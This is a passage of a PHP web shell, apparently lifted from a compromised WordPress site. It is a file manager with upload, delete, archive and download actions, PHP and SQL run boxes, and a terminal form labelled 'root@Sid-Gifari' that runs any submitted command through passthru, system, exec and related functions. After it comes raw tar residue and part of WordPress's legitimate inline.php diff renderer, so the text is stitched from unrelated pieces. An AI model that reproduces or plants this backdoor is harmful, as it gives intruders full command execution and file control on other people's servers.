        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                       inline.php.tar                                                                                      0000644                 00000016000 15217301621 0007313 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php                               0000644                 00000012630 15217274171 0021731 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
